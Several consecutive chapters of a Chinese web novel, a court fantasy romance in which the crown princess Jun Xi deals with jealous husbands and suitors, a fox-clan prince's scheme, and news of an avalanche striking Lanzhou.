狐一眼睛一闭,算了,早死晚死都得死!
王爷都问到这份上了,他不可能隐瞒真实的答案。
“回王爷的话,卑职没有生病。”
“只是……王爷,您真的没有觉得这幅画看上去有些眼熟吗?尤其是这女子眉目间特有的三分英气。”
狐一的神色十分不自然,就好像做了什么亏心事一般,鬼鬼祟祟。
涂山烈心中划过不祥的预感,他试探性地开口问道:
“难不成本王应该认识?”
真不怪涂山烈不清楚君羲长什么样,他本就厌烦这段强加的关系,这段关系对涂山烈来说,只是枷锁,没有任何意义。
“吞吞吐吐像什么样?快说,本王承受得住。”
狐一这才双腿一软,丝滑无比地往下一跪。
“画像上的人是太女殿下。”
涂山烈握着画卷的手僵硬了一瞬间,是谁不好,怎么偏偏是太女殿下?
这世界上,还没有旁人敢自称太女殿下。
“她就是本王的未婚妻?”
狐一斟酌用词,小心翼翼问道:
“王爷,可要继续下去?”
涂山烈垂下眼睫,遮掩住眸中晦暗复杂的神色。
“不必。”
斩钉截铁、自认为冷酷地回了两个字后,涂山烈合上画卷,狐一忙不迭问。
“王爷,画上的人是你厌恶至极的女子,卑职把它收起来?”
涂山烈没想到,他一直讨厌的未婚妻居然让他第一眼就惊艳到了。
涂山烈甚至开始考虑,能否有一条万全之策既能同君羲成婚,又能登上狐族王位?
越想越是头疼,君羲可不是寻常女子,她是尊贵无比的大凰储君,根本不可能屈尊降贵嫁入十万雪山,成为狐族王后。
想到这里,涂山烈心中刚因看过画像后,对君羲升起来的一点好感也消失殆尽。
“收起来。”
狐一伸手去拿,大凰储君的画像虽说不像圣旨一样夸张,需要用供品之类的供起来。
但也不能忽视,不能随意损坏,免得后续落下把柄。
狐一在心中杂七杂八地想着,揣摩涂山烈此行的用意,殊不知他手刚碰上那句话,涂山烈便觉得放在画卷上的手看上去实在是太过碍眼!
狐一疑惑地看向涂山烈,手中用力往外抽,怎么没抽动?
王爷你倒是松手啊!
狐一硬着头皮喊了一声涂山烈。
“王爷?”
涂山烈这才如梦初醒,心情怅然地松开拿着画轴的手,强迫自己移开视线。
“下午吧。”
狐一这才松了口气。
还好,还好他们王爷只是一时间被祸了心神,王爷还是一如既往地只对权力地位有追求,美色不过只是过往云烟。
“喏。”
“王爷,王紫汐怎么处理?卑职派出去的人已经打探到太女殿下将在半月后抵达玉京城。”
这么快?
涂山烈将刚刚的心猿意马很快抛之脑后,心中盘算着如何才能利用王紫汐同君羲见上一面,商谈合作事宜,以便他借着大凰的东风坐稳狐族储君的位置。
既如此……
“把王紫汐的贴身小侍放回去吧。”
君羲,本王很期待和你见面,可别辜负了本王对你的期望。
……
第119章 三位……让让?
宿醉过后,浑身都散发着一股懒劲儿,君羲还未睁眼就闻到了熟悉的气息,看来脑海里昨夜断断续续的画面并不是她的臆想。
这就是有个贴心男人照顾的感觉吗?
君羲舒服窝在男人宽大的怀抱里,喟叹一声。
溟汐的身材还是一如既往的好!
“羲羲,醒了?”
了却倭寇这个心腹大患后,回到漾州,就只剩一些收尾工作。
这些收尾工作君羲不需要亲自去做,她已经写了亲笔信给远在玉京城的顾青颖,让丞相派朝中还算清正的官员过来接手漾州、绥州的恢复工作。
大凰王朝这么大,有些事是君羲必需去做的,有些事她却不想去做。
若是大事小事,都需要君羲亲自去做,那她就算累死也处理不完。
天下万民缴纳税银,朝廷拿税银给朝中官员发放俸禄,可不是为了让官员无所事事的。
君羲看得很开,经过她这次血洗两州官场后,想必已经足够震慑那些心怀叵测、欲行贪污之事的官员们。
君羲明白,水至清则无鱼。
官场上,多多少少都会出现贪污腐败的现象。
只要不是毫无界限的贪污,贪欲像个无底洞一般,无法被满足,不要触及君羲设下的底线,君羲便能容忍这些人。
只要她们能做事,贪些小财是可以容忍的。
她最无法容忍的是无能之辈,无能还贪污,把大凰搞得一团糟。
以上所诉才是君羲首先要处理的官员,漾州、绥州百废待兴,君羲有更要紧的事情要做,比如岚州以及受其影响的钦州、蔼州的雪灾赈灾事宜。
至于漾州和绥州,她只需要看结果即可。
相信过来接手的官员,受到震慑后,没那么大胆子在其中暗度陈仓。
就算敢暗度陈仓也没关系,她自然会出手,清理蛀虫。
所以,在漾州停留整顿的三日,她可以不必紧绷,放松一下身心。
君羲翻了个身,和溟汐面对面。
手指把玩着男人柔顺的银色长发,嗓音带着刚睡醒的慵懒暗哑。
“嗯……”
她将脸埋在男人胸膛,抱着男人的劲腰不松手。
“羲羲,起床?”
君羲摇头,“不要,阿汐,陪孤再睡一会儿。”
溟汐喜欢君羲对他的亲近和依赖,男人的胸膛里传来性感松散的低笑。
“羲羲,你什么时候也学会赖床了?”
在溟汐的记忆中,君羲为了掌控权力,每日都是鸡鸣前就起,狗眠后才睡,若不去看她做下的那些暴戾行径,算得上兢兢业业,宵衣旰食。
溟汐能清楚地感知到君羲这一次南方之行后,变得不一样了。
之前在东宫时,太女殿下对他虽然也有宠,但更多的是处于上位者对宠夫的纵容。
这种纵容就和主人对爱宠的宠爱没什么不同,可以在心情好时宠他,也能在心情不好时随时舍弃。
她给予他的,不过是她手中最不值一提的。
比如金银珠宝,比如华服锦裳,在比如奴仆环绕……
这些对于坐拥四海的储君殿下来说,是可有可无的东西,她能给予,自然也能收回。
但是,最近君羲给他的偏爱,才让溟汐有种真的被太女放在心上的实感。
男人好看的碧眸里荡漾着笑意,他抚摸着女人披在身后柔顺的黑色长发,将一直梦寐以求的那一捧清雪全然拥进怀中。
他半眯着眼,原来……
爱与不爱带给人的感觉真的截然不同。
好在,他很幸运,得到了女人的爱。
哪怕这份爱可能并不唯一,他也算得偿所愿。
“好啊,那侍身就陪着妻主睡个回笼觉。”
君羲刚醒的脑袋,在男人低哄的嗓音中又变得困倦,在溟汐身边,她总是感觉安心。
在彻底熟睡过去之前,脑海中似乎闪过了什么……
她是不是忘记了什么事情?
宿醉加上逐渐袭来的困意,让君羲无法抓住那忽然闪过的思绪。
到底……忘记了什么……
呼——
“羲羲?”
溟汐将女人整个抱在怀里,嘴角得意地翘起。
他本以为今日醒后,君羲会怪罪他昨晚将女人带回他的院中。
却不曾想,女人醒来后对溟汐是这般的依赖。
他心中真的很高兴,若是羲羲能够一直对他这样依赖下去,他就算献祭一半寿命,也甘之如饴。
房中的二人相拥而眠,岁月静好。
房外却是无声的刀光剑影,醋意弥漫。
他们派出门派中武功高强的手下前去协助君羲铲除杀手,手下的人刚抵达暗巷,便发现那些杀手全都死了。
尸体都没了的那一种!
君羲和凤染离开前特意清扫了痕迹,故而这些人并没有找到君羲。
手下回来复命后,他们心中便一直担忧……
担忧君羲是否遇上了棘手的事情,所以才没了踪迹。
会不会受伤了,需不需要帮助?
所以他们又派出更多的手下,乔装打扮,暗中探寻君羲的下落。
等到终于打听到时,便是君羲喝得烂醉,被溟汐背着走出暗巷时。
当时的画面那叫一个精彩纷呈,溟汐背上背着睡得香甜的君羲,手中还提着一盏昏黄的宫灯。
画面显得那样的和谐温馨,颇有神仙眷侣的意味。
对面的三个男人分别带着门派中的高手,站在二人的对面,眼底的酸意都快溢出来了。
“汐公子,殿下这是?”
溟汐笑意不达眼底,纵然面对两大门派,身体仍然站得笔直。
“嘘……”
确保外界的声音不会打扰到君羲,以致女人醒过来后,溟汐这才压低声音,对着对面眼睛里快冒出火的三个情敌说:
“小声些,别吵到妻主睡觉。”
四个男人默契地放轻了声音,彼此间的交谈夹枪带棒,阴阳怪气,谁都不愿意放手,都想将君羲带回自己的房中。
还是熟睡的君羲突然嘟囔了一句。
“阿汐,怎么不走了,孤想安寝了。”
君熙一开口,场面便诡异般地寂静了下来。
四周只能听到君羲嘟囔的声音,以及呼啸而过的夜风声。
“阿汐,你是不是又生、生孤气了?别气,孤给你……陪睡。”
溟汐露出胜利的笑容,先是软声安慰了背上不满的女人。
“羲羲乖,阿汐没生气,这就带你回去安寝。”
然后对着对面三个咬牙切齿的男子璀璨一笑,薄唇轻启。
“太女殿下亲自发话了,三位……让让?”
第120章 阿炽,孤的错,别哭
之后事情就演变成了……溟汐背着君羲闲庭信步走在前头,后面跟着三个俊得各有千秋的年轻男子。
画面一时间有些诡异,又有一种说不出来的和谐。
回到城主府后,三人又目睹溟汐将女人背回房中,还想继续跟……
便听到男人轻笑一声,房门便在他们面前“砰”的一声关上,隔绝了他们探究的视线。
君羲是真的喝醉了,所以溟汐除了抱着女人做了一些亲近贴贴的行为外,并没有做什么。
他只是替君羲换了衣裳,又给擦拭了身体,这才抱着女人香软的身体,满足入睡。
至于门外的三个情敌是如何的咬牙切齿,又睡不睡得着?
那就不关他的事了。
今夜有是和妻主和和美美的一夜呢~
时间回到今早,溟汐听从君羲睡回笼觉的建议,太阳都晒屁股了,才悠悠醒来。
“唔~羲羲,你现在要不要起床洗漱?”
“阿汐……亲亲。”
溟汐本想顺从君羲的意思,给她一个早安吻。
但突然想起了什么,无情地捂住女人凑上来的脸,耳根犯粉。
他连忙将女人裹在被子里,自己坐起身来,快速起床,嘴上嘟囔了一句。
“羲羲,等会儿再给你亲亲。”
不过瞬间的功夫,求亲亲的君羲便被裹成了蝉蛹。
君羲一脸茫然:……
她有些懵懵地睁开了眼,还在还处于迷茫中,便看到一闪而过的腹肌。
“阿汐?”
她发出声音的功夫,溟汐已经快速漱了个口,又清洗了一下。
男人确保自己浑身都香香的后,这才将还处于茫然状态的女人从被窝里掏出来。
“亲亲。”
泛凉的柔软唇瓣贴在女人的红唇上,君羲混沌的大脑这才逐渐清明起来。
回想刚刚男人的一番动作,心中好笑,嘴里也发出了笑声。
原来……
刚刚阿汐是害羞了呀。
明明她们都亲密接触了很多次,更亲密的事情都做过了。
溟汐发情期的那七天,前三天她们可是不分日夜地纠缠着,唇齿交缠,体温互传。
君羲没注意到自己不自觉便将心中所想说了出来,得到了男人恼羞成怒的一句——
“没有。”
“好好好,阿汐没有错,都是孤贪图阿汐的美色,孤的错。”
“羲羲!”
“好了,不逗你了。”
君羲起身,将散落的长发捋在耳后,衣领顺着女人的动作微微敞开。
站在床边的溟汐一眼便看到自己昨晚的杰作,做贼心虚般,移开了目光。
“羲羲,今日便穿这一件吧。”
君羲看着溟汐拿过来的衣服,衣领很高。
南方这几日已经开始气温升高,暖融融的,穿这样高衣领的衣服会有些热,她不解问道:
“阿汐,为何……”
话还没问完,便被溟汐堵住了话头。他坐在床头,近乎撒娇般地捏了捏女人手心。
“羲羲,就穿这一件嘛~我还没看过你穿类似的衣服,你就满足我这个小小的心愿,好不好?”
男人口上软软的撒娇,眼底却似乎有一闪而过的心虚?
君羲心中有些狐疑,男人莫不是做了什么对不起自己的事情?
君羲决定炸一炸不老实交代的坏鱼,冷笑了声。
“阿汐,你做了什么?”
溟汐飞快撇了冷脸的女人一眼,手指不安地交缠在一起。
“没、没什么……”
君羲叹了口气,她看上去很像什么笨蛋吗?
“阿汐,你要相信孤,孤爱你,自然会包容你的一切。”
“所以,别对孤有所隐瞒。”
君羲垂下眼睫,上一世她就是因为信任之人的隐瞒和欺骗,才落得惨死的下场。
君羲不想,这一世她动了真心却得到心爱之人的隐瞒,伴侣之间,本就该坦诚相见,不是吗?
君羲周身弥漫着悲伤的气息,就好像受伤了一般。
溟汐再也顾不得隐瞒了,左右、左右他也只是情不自禁,也没有做什么特别过分的事情。
他捂着脸,凑在女人耳边飞快地将自己昨夜的行径全都说了一遍。
君羲心底松了一口气,不过是亲了她周身……
亲了她周身!
君羲吸了一口冷气,一把拉开男人捂住自己脸的手,换上自己的手,捏住男人脸颊的两侧,微微用力向两边拉扯。
“坏鱼!你可真是长本事了!”
溟汐委屈,由于脸颊两侧都被女人捏在手中往两侧拉扯,说出来的话有些含糊不清。
“菜不淮,窝世青布紫荆……”
君羲无奈瞥了他一眼,罢了,也不算什么大事。
“行了,这点小事也值得你心虚成这样。”
君羲松开捏住男人两颊两侧的手,一边穿衣打扮,一边对试图来帮忙的溟汐说话。
“阿汐,孤希望你相信孤对你的喜欢,不是虚情假意。”
“孤是真的打算同你白头到老、共度一生,孤未来的人生规划里,都会有你。”
溟汐一把抱住女人,鼻音可好听。
“嗯嗯~”
“粘人小鱼。”
溟汐不服气,他天赋异禀,在族中也算数一数二的强健雄鲛人。
“才不小。”
君羲一把抓住男人作乱的手,眯眼警告。
“在贫嘴,孤就要收拾你了,怕不怕?”
“不怕。”
“……”
二人在房中又胡闹了一通,已经是午时过后。
君羲抬了下酸软的手,肚子都饿了,推开黏上来的某色鱼。
“我饿了。”
连孤都忘记说了,看来真是被折腾狠了。
溟汐可舍不得君羲挨饿,亲力亲为将女人清理干净,又给她梳妆打扮,此间便吩咐下人去准备丰盛的午膳。
一直窝在房中固然舒服,但君羲骨子里还是雷厉风行,不能再放任自己懒散下去了。
明日过来赴任的官员便会觐见大凰储君,她得先从慵懒的状态里脱离出来,恢复大凰储君该有的凛冽气势。
推开门——
三张幽怨的俊脸,眼底还挂着明显的青黑眼圈。
君羲:……
总算想起来之前忘记了什么事情了,君羲故作镇定,抬手打招呼。
“阿炽、阿凌、纳兰,早上好啊。”
东方炽上前一步,抓住女人抬手打招呼的手,往自己怀中一带,软香入怀,头顶传来男人带着怨念的声音。
“姐姐,你纵情声色,怕是早就将我忘了吧。”
这话是能说的吗?
就算有,她也不会承认!
君羲干笑两声,试图脱离东方炽桎梏她的怀抱。
“阿炽,孤没有,你先放开孤。”
女人否认的话语和推拒的动作,就像压死骆驼的最后一根稻草。
东方炽心底的委屈积累到极限,眼底一酸。
一滴热泪滑下,从眼角流到清晰的下颌线,然后从下巴处滴落,落在女人颈窝。
君羲挣扎的动作一僵,眼泪只是温热的,但她却觉得这滴眼泪滚烫至极,烫得她心口发疼。
她回抱男人,安抚。
“阿炽,孤的错,别哭。”
……
第121章 偏偏让我遇到你
东方炽从未在君羲面前哭过,一直以来他都是照顾别人的那个角色。
幼时他照顾幼弟长大,长大后有了心爱的女人,却因为弟弟的缘故不敢肆意去表达自己的爱意。
东方炽总是在照顾旁人的感受。
他压抑了太久太久,他喜欢的女人身旁有太多的桃花。
他能感觉到君羲对溟汐的不同。
那或许是真正的爱意。
为什么……
为什么这样的爱不属于他呢?他也是女人的夫郎啊。
她们也曾有过肌肤之亲,在床榻间抵死缠绵……
君羲也曾经在自己的耳边说过许多甜言蜜语,海誓山盟,还用“手段”逼他唤她姐姐。
记忆中的那些暧昧片段,难不成只是醒来后便了无痕迹,只剩余温的梦?
“姐姐,我也喜欢你,可不可以……给我一点点喜欢,我只要一点点就好。”
东方炽声音哽咽着,破碎的哭腔,听得君羲心里发软、发酸。
“阿炽,孤会尝试着去爱你,不止一点点,别哭了,嗯?”
“……”
男子是被自己惹哭的,君羲自然要负责,她耐心又温柔地说了好多哄人的话。
东方炽委屈爆发的情绪在女人的安抚下逐渐平息,后知后觉松开女人,不好意思地将脸撇向一边。
好丢人!
他居然哭了……
还是在阿凌和死对头纳兰轻尘面前。
君羲去牵他的手,抚摸他哭得发红的眼尾。
“不丢人,孤很喜欢阿炽在孤面前毫无保留。”
君羲说起情话来,一套一套的。
“孤是你的未婚妻,阿炽,你有什么委屈都可以在孤面前发泄出来。”
东方炽第一次接触情爱,就遇到君羲这种情场老手,也不知是幸还是不幸……
被偏爱的人都有恃无恐,君羲恰恰就是被东方炽偏爱的那一个。
所以只要是君羲说的话,东方炽便愿意去相信,男子轻易地便被哄好了。
“殿下,刚刚是我失态了。”
东方凌心里一酸,是他忽略了哥哥的感受,哥哥一直以来,都在照顾他,生怕他受一点委屈。
可东方凌忘了,东方炽只是哥哥,而不是父母。
严格意义上来说,东方炽并没有这么照顾他的义务。
而东方凌,也不过是仗着东方炽对自己的爱肆意妄为,甚至卑劣的想要占有君羲——
东方炽喜欢的女子。
少年垂下眼眸,宛如天使一般无辜的容颜,内心却遍布阴郁和扭曲。
可是怎么办啊?姐姐……
他就是这样卑劣无耻的小人,明明知道不应该,却还是想要得到姐姐呢。
顶多,顶多他再也不欺负东方炽了。
东方凌抬起头来,纯洁又无辜的容颜绽放一抹沁人心脾的浅笑,宛如清晨被阳光照耀的栀子花。
“姐姐,现在是午时了哦,你应该说午安。”
君羲头皮发麻,东方凌的视线粘稠阴湿,她刚刚的确是说错话了。
女人干笑两声,用来掩饰自己的尴尬。
“哈哈,孤真是睡迷糊了,昨夜酒喝多了,阿凌,原谅孤……脑子不太清醒。”
纳兰轻尘始终在一旁看着三人的互动,好烦,好烦,好烦……
他心里嫉妒得快要发疯了。
比起溟汐他们,他在君羲心里,是否分量不够重。
纳兰轻尘好后悔,之前君羲问剑雪月剑庄时,没有抓住这个机会同女人好好相处,占据她心里更多的位置。
如今,说再多也是晚了。
少年剑客落寞地抱着雪月剑靠在廊外的柱子上,君羲是一国储君,她不属于漾州、更不属于这边陲之地。
她迟早要回到繁华的玉京城,回到处于大凰领土腹部的乾州。
那里,才是君羲的家。
溟汐已经嫁给君羲,自然会随她回去。
那他呢?
纳兰轻尘也说不清自己的情绪,他想跟着君羲回去,但这样的想法,又似乎违背了他的初衷,也不那么合时宜。
一来,他还没有及冠,也就没有到成婚的年纪。
二来,受父母感情的熏陶,他向往的一直都是一生一世一双人。
君羲注定给不了他想要的唯一。
纳兰轻尘心里有两个小人儿在不断撕扯他的心。
一个在蛊惑他说:没关系,喜欢就要去追求,父母是父母,你是你,父母的不一定是对的。
另一个则在说:别冲动,你怎么知道放弃自由,嫁进深宫红墙,往后余生会得到幸福呢?
纳兰轻尘心里痛苦又纠结,他放不下对君羲的喜欢,也放不下对自由以及唯一的渴望。
“为什么,偏偏让我遇到你。”
君羲听到了纳兰轻尘的低语,也看到了他眼底挣扎的神色,但她不可能承诺他一生一世一双人。
上一世,纳兰轻尘就是九个夫郎里面对她最冷淡的。
君羲还曾经疑惑过,明明纳兰轻尘对她心里喜欢,却还强迫自己远离……是为什么?
直到后面了解了纳兰轻尘父母的故事,才恍然理解了男子的纠结与痛苦。
这一世,或许她是不是应该放手?
君羲心里清楚地明白,若是纳兰轻尘改变不了骨子里对一生一世一双人的追求,让他待在自己身边,痛苦永远会大过欢愉。
若是以前的君羲,根本不会考虑这么多,她只顾自己的意愿,又怎会在意夫郎的想法?
但这一世,得到了溟汐全心全意的爱,她也学会了站在夫郎的角度着想。
更多的是……君羲对纳兰轻尘没有那么喜欢。
若是溟汐有这样的想法,君羲是绝对不会放手的。
她会斩断鲛人的尾巴,将他囚于深宫,关在精心打造金色的牢笼里,夜夜纠缠。
不够爱,所以可以选择放手。
君羲能成全纳兰轻尘。
时间是一种良药,她相信,经过时间的消磨,纳兰轻尘迟早可以放下她,追寻向往的自由与唯一。
这或许……对她们二人来说,是最好的结局。
纳兰轻尘还不知道,君羲已经在心中想好要解除与他的婚约,将他还于自由的江湖。
他心如乱麻,所以他并未上前打招呼。
或许他应该理清自己的思绪,然后再做下一步决定。
反正君羲不会久待,三日后便会班师回朝。
而且,距离他及冠还有三月时间,在此期间,他可以好好思考一番,他对君熙的爱究竟到了什么样的地步?
够不够他放弃自己的坚持?
和煦的阳光里,君羲看到溟汐对自己招手,展颜一笑。
带着东方炽和东方炽走向溟汐,走到一半,回头喊还在发呆的纳兰轻尘。
“纳兰,午膳好了,一起?”
纳兰轻尘收敛所有情绪,望向阳光下让他惊艳纠结的女人,笑得开朗。
“好,这就来。”
第122章 不委屈
玉京城,顾青颖正在思考岚州官员传来的信件内容。
王紫汐的贴身小侍衣衫褴褛,蓬头垢面回了岚州,恰巧被边境巡视的士兵发现,带回了营帐中。
据小侍透露,王紫汐并没有生命危险,涂山狐族的烈王想见太女殿下,商议合作事宜。
绑走王紫汐,不过是放长线钓大鱼。
涂山烈,狐族的战神王爷,太女殿下的未婚夫之一,心底到底在打什么算盘?
大凰王朝和十万雪山向来是井水不犯河水,相安无事三百年之久。
这其中固然有十万雪山环境恶劣,不适合人族生存的原因,但更多的是十万雪山地形错综复杂,更有擅迷惑人心的强盛狐族坐镇。
而在茫茫雪山中,被迷惑心神的后果是致命的。
所以,大凰王朝的历代皇帝都没有打过占据十万雪山的主意,但环境恶劣的十万雪山中强盛的狐族对他们大凰宽阔肥沃、环境适宜的领土难保没有别的想法。
顾青颖心里闪过许多阴谋论,但都只是无端的猜测,没有实际证据证明她的猜测。
偏偏太女殿下如今还在南方,还未回到玉京城中。
如若不然,她倒是可以同太女殿下商议一番,究竟该如何应对涂山烈故意放小侍回来,传出的信息。
“唉……”
顾景行给顾青颖斟茶,疑惑道:
“母亲缘何叹气?太女殿下大捷,即将凯旋,你应当高兴才对。”
顾青颖端起最爱重的嫡长子给自己斟的茶,杯盖拂过水面上的茶沫,状似不经意地问。
“景行,太女殿下回来,你可想好该如何同殿下相处了?”
顾景行手一颤,他已经快两个月没见到君羲了……
他原本以为自己对君羲心中只有被强迫的屈辱和恨意,君羲不在宫中,正好合了他的意。
眼不见,心不烦。
也没人强迫他做不愿意的事情,更没有人调戏他,侮辱他。
但顾景行发现,君羲离开后的每一天,他都在回想她们之间,曾经发生的那些事情……
包括那一夜,君羲处罚君清荣时,在床榻间对自己的逗弄。
顾景行觉得自己怕不是疯了!
当初不得不服从女人的屈辱画面,如今在记忆中回想,竟然会觉得有几分甜蜜和怀念。
随着时间的增长,他心里的思念像野草一样疯长。
顾景行后知后觉地发现,或许君羲对他来说,不只是强迫他的妻主,更是他动了心的人。
“母亲,儿子不知道。”
顾青颖心里也是叹气,放下茶杯,无奈看了一眼她最骄傲的儿子。
她知道,景行和殿下的开端并不算好,她们的开始源于太女殿下对景行才华姿色起意,强娶景行入东宫。
顾青颖心里何尝不痛心?身为母亲,她也希望自己的儿子能够找到一个两情相悦,顺其自然,共度一生的爱人。
但事已至此……
殿下是尊贵无比的大凰储君,她既然看中了顾景行,并且娶他做正夫,就断然没有和离放手的可能。
往后余生,景行和殿下注定会绑在一起,这是已经无法改变的结局,顾青颖也只能劝慰儿子放宽心,不要再去想曾今的未婚妻——林欣。
太女殿下眼里最是容不得沙子,若是知道顾景行还对前未婚妻念念不忘,定然会大发雷霆,谁也落不到好。
顾青颖为了顾氏全族,的确委屈了自己爱重的嫡长子。
但她不只是顾景行的母亲,她更是顾氏一族的族长,为了九族的上百条人命,她不得不妥协。
“景行,听母亲一句话,该放下的就放下吧。”
顾景行有些听不懂顾青颖的话,什么该放下的就放下?
母亲在说什么?
顾景行在思索顾青颖话中的“深意”,儿子深思的神色在顾青颖看来,便是怅然若失。
她心中思索了一番,继续劝道。
“为母看,殿下最近有很大改变,关心国事,爱重正夫,或许,你可以尝试一下接受太女殿下。”
顾景行这才转过弯来,忍俊不禁笑出声来,母亲竟然以为他还放不下前未婚妻。
最亲近的母亲尚且以为如此,那殿下呢?殿下是不是也这样认为?
难怪上次殿下对他这般生气,一切都找到了缘由。
“母亲,你在说什么呢,儿子从来没有放不下谁。”
顾青颖撇了顾景行一眼,显然是不相信他否认的说辞。
顾景行见状,神色认真了几分,以便让母亲得知他的心意。
“母亲,我同林欣总共没见过几面,有的只是年少几分懵懂的好感,根本算不上爱意,反而是……”
顾青颖亲手带大的儿子,她心里清楚。
此刻儿子的神色不似作伪,顾青颖这才相信真的误会了儿子。
“反而是什么?”
顾景行脸色一红,在自家母亲面前表达自己对女子的爱意,他有些不好意思。
但他还是决定坚定地说出自己的心意,以免母亲误会,更怕以后殿下误会。
他忍住羞涩,继续道:
“反而是太女殿下,我对她……既有喜欢也有恨意。”
顾青颖身为过来人,认为男女之间的情爱,本就是复杂多变的。
有爱有恨,爱恨交织,才是一份感情应有的样子。
若是只有爱意,没有恨意,这样的爱可能也不会长久。
爱之深,责之切。
同样的……
爱之深,也会恨之切。
没有爱意又怎来的恨意?
她看着儿子羞涩的脸庞,意识到顾景行可能真的喜欢上了太女殿下。
顾青颖原本还担心顾景行心中还有前未婚妻林欣,以至太女殿下不悦,牵连景行。
但……此刻她反而担心儿子太过喜欢太女殿下。
太女殿下注定会是大凰未来的帝王。
帝王三宫六院,三千佳丽再正常不过。
而一个男子的妒忌很有可能会让他变得面目全非,顾景行担心儿子以后会因为嫉妒而痛苦不堪。
“景行,你是个聪明孩子,这些话为母只给你说一遍,你要牢牢记住。”
“母亲,你说。”
顾青颖斟酌了一下用词,慈爱看向顾景行。
“帝王之爱,不可强求,为母已经得了太女承诺,无论未来如何,太女殿下登基后,你都会是他唯一的正君。”
她拍了拍儿子的手,继续说道:
“只要你不犯诛九族的大罪,永不废弃正君。”
顾景行学过三书六礼,君女六艺,也曾接触过男戒、男德。
他隐隐知道母亲在同自己说些什么,心中有些苦涩。
“母亲的意思是?”
纵然这些话对情窦初开的儿子来说过于残忍,但为了避免以后的悲剧发生,她还是要说出口。
“景行,若你嫁的是寻常人家的女子,为母还有办法让你得到唯一的情深,但太女……”
顾景行明白了。
“母亲,儿子明白的。”
他从来都明白的,身为正夫,不可善妒。
“太女殿下只要心中有我,就足够了。”
“好孩子,委屈你了。”
“不委屈,母亲,孩儿不委屈……呜呜……”
说着不委屈,眼眶却不受控制的掉眼泪。
“哭吧,哭出来就好了。”
……
第123章 蠢
顾景行性子倔强,从小哭的次数屈指可数,若不是因为君羲,顾青颖可能都不知道,她儿子能有这么多眼泪。
只能说,情爱一事,最是令人情绪剧烈起伏。
顾景行也不知道,他为何会开始在意起一个对他强取豪夺的女人,情不知所起,一往而深。
偏偏,他是正夫。
大凰王朝对正夫要求苛刻,既要大度,又要能够将后院事务处理得井井有条。
可爱的本性是自私的,谁又愿意同旁的男子分享妻主呢?
而且,不止分享,还要假装大度,同侧夫和谐相处。
若是妻夫之间毫无感情还好,就当做搭伙过日子,怕就怕,动了感情……
随着君羲归朝的时间越来越近,顾景行就越发能够体会到心酸难受的感觉。
他既期待能见到君羲,又怕自己控制不住嫉妒的情绪,失了正夫的体面,更失了君羲的君心。
“母亲,儿子有时候真的挺羡慕溟侧夫,他想爱就爱,想恨就恨,不必受缚于大度贤良的牢笼。”
顾青颖身为女人,不太能共情顾景行的悲伤。
她虽然爱重顾景行的父亲,但也纳了侍,丞相府后院,除了顾景行父亲,还有两个侧夫,三个小侍。
大凰孝道讲究“不孝有三,无后为大”顾景行的父亲子嗣艰难,有了顾景行后,迟迟不能成功向母树祈求胎果。
顾青颖碍于母亲压力,不得不纳侧夫进门……
顾青颖只是丞相,尚且有五个夫郎,何况君羲这个未来的一国之君?
“景行,你该明白……花无百日红,与其祈求女人的爱,不如牢牢将权势握在手里。”
顾青颖语重心长,拍了拍儿子微颤的双肩。
“自己才是自己的靠山,景行,为母希望你,能够独立自强,而非耽于情爱,迷失本心。”
顾青颖身为女人,再清楚不过。
在俊美的容颜都会有老去枯朽的一日,在激情的爱意到最后也会归于平淡。
不是不爱了,只是爱意变成了习惯,慢慢不在能满足女人对新鲜感的追求,爱转移了。
若是能得妻主爱重,掌府中中馈,相敬如宾一辈子,已经算得上圆满。
再多的,只能说是奢求。
顾景行听明白了顾青颖的劝告,只是,明白归明白,心脏难受的感觉却不是他想控制就能控制得住的。
“母亲,孩儿会尽力去做。”
“为母相信你,你是本相最骄傲的孩子。”
顾青颖膝下没有嫡女,顾景行除了是男儿身外,所受到的教养同嫡女无异。
当初君羲强行将顾景行娶进东宫时,顾青颖甚至生出了谋逆的想法,可见她对顾景行的喜爱。
若不是顾氏九族的性命压在她肩上,顾青颖真会为了最爱的儿子大逆不道。
好在如今,君羲也算改邪归正,算得上是一个有野心的英明储君,最重要的是她承诺了顾青颖——
顾景行将会是她唯一的正夫,顾青颖才能放心将顾景行交给君羲。
“丞相大人,八百里加急信件!”
门外传来敲门声,顾景行连忙止住眼泪。
“母亲,我好了。”
顾青颖这才出声让门外之人进来。
“进来吧。”
八百里加急信件不是小事,顾青颖凝重了神色。
如今南方被太女殿下出兵平定,只剩北方雪灾还未解决。
不知这八百里加急信件……究竟是好消息还是坏消息?
如果可以,她真希望是好消息,这样北方受灾的百姓们不至于再次遭受更多的苦难。
有时候苦难受的多了,可能会摧垮一个人的心志,若是活下去的心志都丧失了,那被救的百姓们终归是一群行尸走肉,没有任何意义。
她心中祈祷一定要是好消息,手上拆信件的动作却是不慢。
顾青颖阅读信件的速度极快,一目十行,越看神色越是凝重,薄薄的两张纸,却写满了北方百姓遭受苦难的血与泪。
“十万雪山雪崩,殃及岚州。”
顾景行第一时间想到了离宫出走的慕夜声和王权不弃,他现在还能记起当初君羲出征,调转马头将慕夜声揽腰上马的那一幕。
若是慕夜声出了什么事情……
顾景行不敢去想象君羲黑沉的神色。
“母亲!慕侧夫和王权侧夫还在岚州!”
顾景行在想,他和母亲是不是做了一件错事?
不该放宽宫中守备,刻意给了慕夜声和王权不弃逃出宫的机会,更是在二人离宫中后,派暗卫保护。
君明月自以为派出的杀手能将慕夜声杀了,殊不知,她的一举一动都在顾景行的掌控之下。
君明月要杀,那他便救。
慕夜声和王权不弃走在最前头,杀手尾随起后,顾景行派出去保护他们的暗卫就在杀手动手前——拦截杀手。
谁知,他的确是帮两位侧夫隔绝了大部分刺杀,但却遭遇了天灾。
十万雪山雪崩,顾景行光是想想便知道,若是在雪崩的中央,那生还的可能性微乎其微。
他现在只能在心中祈祷,祈祷慕夜声和王权不弃二人没有在雪崩影响的范围之内。
“一定要平安无事啊……”
岚州,一场突如其来的雪崩,打碎了刚刚重建起来的希望。
星星点点的避难棚被滚滚而下的雪席卷,掩埋,这一场惨绝人寰的雪灾中,不知有多少人失去了亲人、朋友……
慕夜声刚找到寒松的线索,便跟着提供住址信息的人去找寒松。
王权不弃不放心,暗中跟在慕夜声身后。
他总觉得这件事有蹊跷,怎么可能这么巧!
恰巧慕夜声找寒松找得焦头烂额,这时刚好便有见到寒松的人,出现在他们面前,信誓旦旦说要带他们去找人。
甚至还提出一个离谱的要求……
那便是他只愿意带慕夜声一人前去,理由是他害怕王权不弃,说王权不弃长得凶神恶煞,他不愿意带上王权不弃一块儿走。
